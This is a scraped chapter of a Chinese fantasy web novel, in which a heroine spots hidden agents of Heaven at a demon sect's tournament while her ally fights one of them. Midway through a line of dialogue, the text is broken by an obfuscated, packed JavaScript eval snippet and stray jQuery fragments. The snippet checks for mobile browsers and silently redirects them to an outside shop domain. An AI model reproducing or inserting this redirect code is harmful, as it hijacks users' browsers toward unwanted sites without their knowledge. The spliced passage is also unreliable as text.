文趣网 > 都市小说 > 《减仙》 > 15. 第 15 章
    红衣女子在前面带路,穿过熙熙攘攘的人群,往万魔山的山顶走去。

    她叫柳红妆,情魔宗的宗主,三大长老之一。

    苏忘忧跟在谢长夜身后,不动声色地观察着四周。

    万魔山的山顶是一个巨大的广场,广场中央是一座黑色的石台,石台上刻着密密麻麻的魔纹,散发着幽幽的黑光。广场四周,密密麻麻地坐满了人,有男有女,有老有少,服饰各异,气息各异。

    但有一点是相同的——他们胸口的执念线,都比正道修士粗得多、多得多。

    魔宗的修士,不修天道,只修执念。每个人都把自己的执念修炼到了极致,所以执念线也格外醒目。

    苏忘忧甚至看到了一个胸口缠着上百根执念线的老怪物,每一根都粗得像手臂,颜色深得发黑。那股执念的力量,庞大到令人窒息。

    化神期巅峰。

    而且是执念道的化神期巅峰,比普通的化神期巅峰强得多。

    "那是老怪物。"谢长夜低声说,顺着苏忘忧的目光看去,"魔宗的太上长老,闭关三十年了,这次居然也出来了。看来,这次大会不简单。"

    苏忘忧点了点头,收回目光。

    广场的最前方,有三个座位。

    左边的座位上,坐着一个穿血色长袍的老者,面容枯槁,眼睛里布满血丝,像一个刚从血池里爬出来的恶鬼。他的胸口缠着一根深红色的执念线,粗得惊人,那是对"血"和"长生"的执念。

    血魔宗宗主,血魔长老。

    中间的座位上,坐着一个穿白骨铠甲的中年男子,面容冷峻,眼神空洞,整个人像一具会走路的骷髅。他的胸口缠着一根灰白色的执念线,那是对"死亡"和"永恒"的执念。

    骨魔宗宗主,骨魔长老。

    右边的座位空着,显然是柳红妆的位置。

    谢长夜走到石台前,对着三位长老微微拱手。

    "三位长老,晚辈回来了。"

    血魔长老抬起眼皮,看了谢长夜一眼,嘴角勾起了一丝阴冷的笑。

    "少主还知道回来?"他的声音沙哑,像砂纸摩擦,"我还以为,少主在外面玩得乐不思蜀了呢。"

    "血长老说笑了。"谢长夜面不改色,"晚辈只是出去办了点事。"

    "办事?"血魔长老冷笑,"办什么事,需要瞒着我们三大长老?少主不会是,去跟正道的人勾结了吧?"

    这话一出,广场上的气氛瞬间变了。

    所有魔宗修士的目光,都集中到了谢长夜身上,眼神里带着怀疑和敌意。

    魔宗最恨的就是跟正道勾结。血魔长老这顶帽子扣下来,要是坐实了,谢长夜这个少主就别想当了。

    谢长夜的脸色不变,刚想说话,柳红妆已经娇笑着开口了:

    "血长老,话可不能乱说。少主是什么人,我们还不清楚吗?他怎么可能跟正道勾结。"

    她走到自己的座位上坐下,红色的裙摆铺开,像一朵盛开的罂粟花。

    "倒是少主身边这位姑娘——"柳红妆的目光落在苏忘忧身上,眼神里带着一丝探究,"看着眼生得很,不知是哪路高人?"

    所有人的目光,又转移到了苏忘忧身上。

    苏忘忧站在谢长夜身后,面色平静,不卑不亢。

    她能感觉到,至少有几十道神识在她身上扫来扫去,探查她的修为和来历。

    但她有消执念境的修为,相当于元婴期,这些神识探查不出什么。

    "这位是苏忘忧苏姑娘。"谢长夜说,"是晚辈在路上结识的朋友。"

    "朋友?"血魔长老的目光在苏忘忧身上打量了几圈,突然皱起了眉,"这气息……不对。"

    他站起身,走到苏忘忧面前,鼻子嗅了嗅,脸色骤变。

    "减法道?!"他的声音陡然拔高,"你是减法道的人?!"

    广场上瞬间炸开了锅。

    "减法道?那个三万年前被天道灭了的减法道?"

    "不是说减法道已经绝种了吗?怎么还有传人?"

    "天道的容器!她就是天道通缉的那个容器!"

    议论声此起彼伏,所有人的眼神都变了。

    有贪婪的,有恐惧的,有兴奋的,有忌惮的。

    天道的容器,减法道传人。

    这两个标签,任何一个都足以让整个修仙界疯狂。

    血魔长老的眼睛里,闪过一丝贪婪的光。

    "少主,"他转过身,看着谢长夜,语气冰冷,"你把天道的容器带回魔宗,是什么意思?"

    "你知不知道,天道正在满世界找她?你把她带回来,是想给魔宗招来灭顶之灾吗?"

    "血长老言重了。"谢长夜挡在苏忘忧身前,"苏姑娘是晚辈的朋友,不是什么'容器'。而且,天道跟我魔宗有不共戴天之仇,它的敌人,就是我们的朋友。"

    "朋友?"血魔长老冷笑,"少主太天真了。减法道是什么东西?三万年前,减法道差点把整个修仙界都拖入灭世的深渊。这种灾星,留着就是祸害。"

    "依老夫之见,把她抓起来,献给天道。说不定天道一高兴,还能赏我们点好处。"

    "血长老!"柳红妆皱起了眉,"你这话就不对了。天道杀了我们多少人?你居然想跟它做交易?"

    "柳宗主,"血魔长老冷冷地看着她,"老夫这是为了魔宗着想。为了一个减法道的余孽,跟天道作对,值得吗?"

    "怎么不值得?"一直沉默的骨魔长老突然开口了,他的声音低沉,像从地底传来,"减法道的功法,能克制天道。如果我们能得到减法道的传承……"

    他没有说完,但意思很明显。

    他想要减法道的功法。

    三大长老,三种态度。

    血魔长老想把苏忘忧献给天道换好处,骨魔长老想得到减法道的功法,柳红妆态度暧昧,似乎另有打算。

    谢长夜站在中间,面对三大化神期长老的压力,后背已经渗出了冷汗。

    但他的脸上,依然挂着那副玩世不恭的笑。

    "三位长老,"他说,"苏姑娘是晚辈的客人,谁也不能动她。"

    "如果谁想动她——"他的笑容收了起来,深紫色的眼睛里闪过一丝狠厉,"先过晚辈这一关。"

    广场上安静了一瞬。

    然后,血魔长老哈哈大笑起来。

    "好,好得很。"他的笑声里带着一丝残忍,"少主长大了,敢跟老夫叫板了。"

    "既然如此,那就按老规矩来。"他转身走回自己的座位坐下,"魔宗大会,比武定输赢。"

    "如果少主能在大会上赢得第一,老夫就承认你的宗主之位,也承认这个苏姑娘是魔宗的客人。"

    "但如果你输了——"他的目光阴冷,"宗主之位作废,这个苏姑娘,归老夫处置。"

    谢长夜的脸色,微微一变。

    他知道,血魔长老这是在逼宫。

    魔宗大会的比武,不分境界,不分门派,谁赢谁说了算。以他元婴期的修为,要在一群化神期老怪物中拿第一,几乎是不可能的事。

    但他没有选择。

    "好。"谢长夜说,"晚辈答应。"

    "爽快。"血魔长老笑了,"那就,开始吧。"

    ---

    魔宗大会的比武,在广场中央的黑色石台上进行。

    规则很简单:抽签决定对手,一对一,胜者晋级,败者淘汰。最后剩下的那个人,就是第一。

    不分境界,不分门派,生死不论。

    这就是魔宗的规矩——弱肉强食,强者为尊。

    苏忘忧站在广场的角落里,看着石台上的比武,眉头微微皱起。

    谢长夜去抽签了,阿瑶被她抱在怀里,小女孩经过几天的休息,已经恢复了精神,正好奇地东张西望。

    "姐姐,"阿瑶拉了拉苏忘忧的衣袖,"那些人好可怕。"

    "别怕。"苏忘忧摸了摸她的头,"有姐姐在。"

    她的观想之眼,一直在扫视着广场上的每一个人。

    不是看热闹,是在找一样东西。

    天道的卧底。

    金无痕临死前说"天道的目光已经注意到你们了"。天道不可能只派一个金无痕来,它一定在魔宗内部安插了棋子。

    而天道棋子的特征,她太熟悉了——胸口没有执念线。

    魔宗的修士,执念线都比普通人粗得多。如果有人在魔宗里,却没有执念线,那一定有问题。

    苏忘忧的目光,扫过一个又一个修士。

    有,有,有……每个人都有执念线,而且都很粗。

    就在她以为没有的时候——

    她的目光,落在了石台上的一个人身上。

    那是一个穿灰衣的中年男子,面容普通,身材中等,站在人群里毫不起眼。他正在跟另一个修士比武,招式平平,修为也只有元婴期。

    但他的胸口,空空荡荡。

    没有执念线。

    一根都没有。

    苏忘忧的瞳孔,猛地收缩了。

    找到了。

    天道的棋子。

    而且,不止一个。

    她的目光继续扫视,在广场的不同角落,又找到了三个没有执念线的人。

    四个。

    天道在魔宗里,至少安插了四个棋子。

    他们混在魔宗修士中间,像四把藏在暗处的刀,随时可能刺出来。

    苏忘忧的心里,微微一沉。

    这次魔宗大会,恐怕不只是三大长老逼宫那么简单。

    天道,也在布局。

    就在这时,谢长夜走了过来,脸色不太好看。

    "抽到谁了?"苏忘忧问。

    "第一场,对一个叫灰衣人的散修。"谢长夜说,"元婴期,看起来不难对付。"

    苏忘忧的脸色变了。

    "灰衣人?"她问,"是不是穿灰衣,面容普通,大概四十多岁?"

    "对啊。"谢长夜愣了一下,"你认识?"

    苏忘忧深吸一口气,压低声音:"他是天道的棋子。胸口没有执念线。"

    谢长夜的脸色,瞬间变了。

    "你确定?"

    "我确定。"苏忘忧说,"而且不止他一个,广场上还有三个。天道在魔宗里安插了至少四个棋子。"

    谢长夜的眼神,变得凝重起来。

    他原以为,这次大会只是三大长老逼宫。没想到,天道也插了一脚。

    "第一场你不能赢。"苏忘忧突然说。

    "什么?"谢长夜愣住了,"不能赢?"

    "对。"苏忘忧说,"你赢了灰衣人,就会暴露你的实力。天道的棋子会对你提高警惕,后面的比赛会更难打。"

    "而且——"她顿了顿,"灰衣人是天道的棋子,他的实力绝对不止元婴期。他隐藏了修为,你贸然出手,可能会吃亏。"

    谢长夜皱起了眉:"那怎么办?故意输?输了的话,宗主之位就没了,你也会被血魔长老抓走。"

    "不是故意输。"苏忘忧说,"是'艰难地赢'。你要表现得拼尽全力、险之又险地赢了他,让所有人都以为你只是运气好。"

    "这样,既赢了比赛,又不会暴露实力,还

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17880900|212451||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    能让天道的棋子放松警惕。"

    谢长夜想了想,点了点头:"有道理。"

    "还有,"苏忘忧从怀里掏出一张符箓,塞到他手里,"这是我用减法道力量画的'隐息符',能暂时遮蔽你的气息。关键时刻,可以用来保命。"

    谢长夜接过符箓,看了苏忘忧一眼,深紫色的眼睛里闪过一丝复杂的情绪。

    "苏姑娘,"他说,"你这么帮我,就不怕我以后反水?"

    "怕。"苏忘忧说,"但我更怕天道赢。"

    "而且——"她看着石台上正在比武的修士,声音很轻,"你跟我一样,都是被天道逼到绝路上的人。敌人的敌人,至少在天道被消灭之前,是朋友。"

    谢长夜笑了。

    "说得好。"他把符箓收进怀里,转身朝石台走去,"那我就,去会会这个天道的棋子。"

    苏忘忧看着他的背影,心里微微一沉。

    她有一种预感。

    这场魔宗大会,不会那么简单就结束。

    三大长老的逼宫,天道棋子的潜伏,还有那个闭关三十年的太上长老……

    所有的势力,都在这个小小的广场上汇聚。

    一场风暴,即将来临。

    就在这时,石台上的比武结束了。

    裁判宣布:"下一场,魔宗少主谢长夜,对散修灰衣人!"

    谢长夜纵身一跃,跳上了石台。

    对面,那个穿灰衣的中年男子,也缓缓走了上去。

    他的面容普通,眼神平淡,像一潭没有波澜的死水。

    但苏忘忧能看到,他的身体里,隐藏着一股庞大到令人窒息的力量。

    化神期。

    至少是化神期中期。

    他隐藏了修为。

    石台上,两人相对而立。

    裁判宣布开始。

    灰衣人率先出手。

    他的招式很普通,就是一套最基础的拳法,看起来平平无奇。

    但苏忘忧的观想之眼,清晰地看到了——他的每一拳,都精准地打在了谢长夜招式的破绽上。

    他不是在比武。

    他是在……试探。

    试探谢长夜的实力。

    谢长夜也察觉到了,他按照苏忘忧的计划,表现得很吃力,每一招都险之又险地躲过,看起来随时可能输。

    但就在第三十七招的时候——

    灰衣人的招式,突然变了。

    他的拳头,爆发出一股刺目的金光。

    天道之力。

    他不再隐藏了。

    因为他已经试探出了谢长夜的"全部实力"——在他看来,谢长夜已经黔驴技穷了。

    这一拳,足以把谢长夜连人带灵魂,一起化为齑粉。

    石台下,苏忘忧的脸色,骤然变了。

    她没想到,灰衣人这么快就下杀手。

    而谢长夜,还在按照计划"表演",根本没料到对方会突然爆发。

    来不及了。

    那一拳,已经到了谢长夜的胸口前三寸。

    就在这千钧一发之际——

    谢长夜的嘴角,突然勾起了一抹笑。

    他等的,就是这一刻。

    苏忘忧给他的隐息符,不只是用来遮蔽气息的。

    它还能用来——隐藏实力。

    谢长夜胸口那上千根执念线,在这一刻,全部亮了起来。

    他的修为,从元婴期,直接飙升到了化神期中期。

    灰衣人的脸色,瞬间变了。

    但已经晚了。

    谢长夜一掌拍在他的胸口,执念之力如潮水般涌入他的身体。

    "噗——"

    灰衣人喷出一口金色的血,身体像断了线的风筝一样飞了出去,重重地摔在石台下。

    他挣扎着想爬起来,但谢长夜的执念之力已经侵入了他的经脉,他的修为在飞速流失。

    全场死寂。

    所有人都惊呆了。

    元婴期的谢长夜,一掌击败了……化神期的灰衣人?

    血魔长老的脸色,彻底沉了下去。

    他猛地站起身,盯着石台上的谢长夜,眼神阴冷。

    "化神期?"他的声音里带着难以置信和愤怒,"你居然偷偷突破到了化神期?!"

    谢长夜站在石台上,黑衣猎猎,嘴角挂着那副玩世不恭的笑。

    "血长老,"他说,"晚辈可从来没说过,自己是元婴期。"

    "是你们,一直以为我是元婴期而已。"

    广场上,一片哗然。

    而苏忘忧站在角落里,看着石台上的谢长夜,心里微微一沉。

    她的观想之眼,看到了一些别人看不到的东西。

    谢长夜刚才爆发的化神期修为,不是他自己的。

    是用某种秘法,暂时借来的。

    而且,那股力量的来源,是他胸口那上千根执念线。

    每用一次,就会有几根执念线断裂。

    执念线断裂,意味着他失去了一部分执念。

    而执念,是执念道修士的根本。

    失去执念,就等于失去了自我。

    谢长夜在用"失去自我"的代价,换取暂时的力量。

    这跟减法道,何其相似。

    一个靠放下执念变强,一个靠消耗执念变强。

    殊途同归。

    苏忘忧深吸一口气,压下心中的波澜。

    现在不是想这些的时候。

    因为她看到,广场上剩下的三个天道棋子,已经开始动了。

    他们的目标,不是谢长夜。

    是她。